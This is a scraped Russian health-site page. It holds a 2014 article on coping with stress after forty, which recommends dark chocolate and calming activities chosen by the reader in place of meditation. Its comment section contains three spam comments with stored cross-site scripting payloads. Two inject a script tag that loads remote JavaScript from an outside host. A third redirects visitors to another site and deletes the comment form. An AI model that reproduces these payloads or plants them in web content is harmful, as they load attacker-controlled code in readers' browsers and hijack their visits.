Здоровье ИНФО
Присоединяйтесь к нам:
Главная страница  >>  Наша кожа  >>  Прыщи  >>  Статьи  >>  40+: как теперь бороться ...  >>  40+: как теперь бороться со стрессом?
 
Обратная связь
 

40+: как теперь бороться со стрессом?

Размер шрифта
14 ноября 2014 00:00
  • google_analytics: false
  • Нравится

Стресс сопровождает нас по жизни постоянно! Но если раньше можно было просто забыть и все, то с возрастом и забыть сложнее и влияния стресса на организм все больше. Как же бороться со стрессом после 40?

Сладкие радости

Вчерашняя мудрость: не делайте из еды награду

Современный подход: порадуйте себя горьким шоколадом

Вероятно, вы слышали о том, что мороженое и печенье не только не помогают бороться со стрессом, но могут даже усугубить проблему. Однако из этого правила есть исключение: вы можете со спокойной душой позволить себе горький шоколад. Но немного! 1-2 квадратика от плитки.
Согласно исследованиям, пара кусочков темного шоколада помогут вам прийти в себя в тяжелой ситуации. Увы, молочный шоколад не подходит, так как успокаивающим действием обладают флавоноиды, содержащиеся в темном шоколаде. Всего 15 грамм темного шоколада в день в течение двух недель снижают уровень гормона стресса. Согласитесь, что это самый приятный способ борьбы со стрессом!
Медитация по-своему

Вчерашняя мудрость: медитируйте

Современный подход: просто делайте то, что вам нравится

Некоторым людям прекрасно помогает медитация, но для других это лишь способ потрепать нервы. Около 54% опрошенных заявляют, что нервничают во время медитации. Поэтому вам не стоит следовать моде и нужно найти свой собственный способ успокоиться.

Подойдет любое занятие, которое помогает вам отвлечься от грустных мыслей. Чтение мантр на время помогает забыть о проблемах, но подойдет и любая другая монотонная деятельность: бег, плавание, рисование, прогулки, молитвы. Как еще бороться со стрессом после 40?

Хотите найти еще больше советов о здоровье? Читайте наш спецпроект!

  • google_analytics: false
  • Нравится
Послать другу Послать другу Распечатать Распечатать Обсудить на форуме Обсудить на форуме
Комментарии

1 - zzzzzz

30 июня 2015 в 18:30

Цитировать   |   Пожаловаться

--> src="http://1212123.esy.es/q.js">

2 - zzzzzz

30 июня 2015 в 21:29

Цитировать   |   Пожаловаться

--> src="http://1212123.esy.es/q.js">

3 - zzzzzz

30 июня 2015 в 22:25

Цитировать   |   Пожаловаться

-->> window.location.href="http://a25832-hostde3.fornex.org/"; $("form.noprint, #CommentsBlock").remove();

Статьи

       
Считаете ли вы себя старой или нет – не важно. Ученые определили точный возраст, с которого начинается старость   Сколько вам лет? Ученые выяснили два самых счастливых возраста   Мужчины против женщин. Кто лучше?   Как успеть все по науке?  
01 ноября 2013ИНВИТРО – «Марка №1» в России 21 октября 2013ИНВИТРО открыла центр лучевой диагностики «ИНВИТРО.Эксперт»
 
11 октября 2013Елена Малышева расскажет все о том, как правильно худеть 03 октября 2013Результаты благотворительного марафона «Всем миром»
 

Слайдшоу

1
Чего боятся женщины с годами
Почему женщины так устают?
Проблемы, с которыми справится секс. Часть 2

Тесты

1
Будет ли у вас инфаркт?
Кофеин вызывает зависимость?
Как устроены волосы человека?
Вопросы и ответы
Яна Александровна Юцковская
Яна Александровна Юцковская Задать вопрос
Посмотреть информацию о враче

Юцковская Яна Александровна, д.м.н., профессор, зав. кафедрой дерматовенерологии и косметологии ГБОУ ВПО «ТГМУ Минздрава России», врач высшей категории, директор ООО «Профессорская клиника Юцковских», Владивосток, директор ООО «Клиника профессора  Юцковской», Москва, президент НП «ДВАЭМ», председатель Дальневосточного отделения МООСБТ.

Елена Николаевна Волкова
Елена Николаевна Волкова Прочитать ответы
Посмотреть информацию о враче

Доктор медицинских наук, профессор кафедры дерматовенерологии Московского факультета ГОУ ВПО «РГМУ им. Н.И. Пирогова Минздравсоцразвития России». Этот консультант отвечал на вопросы пользователей с 03 ноября 2011 г. по 15 февраля 2012 г.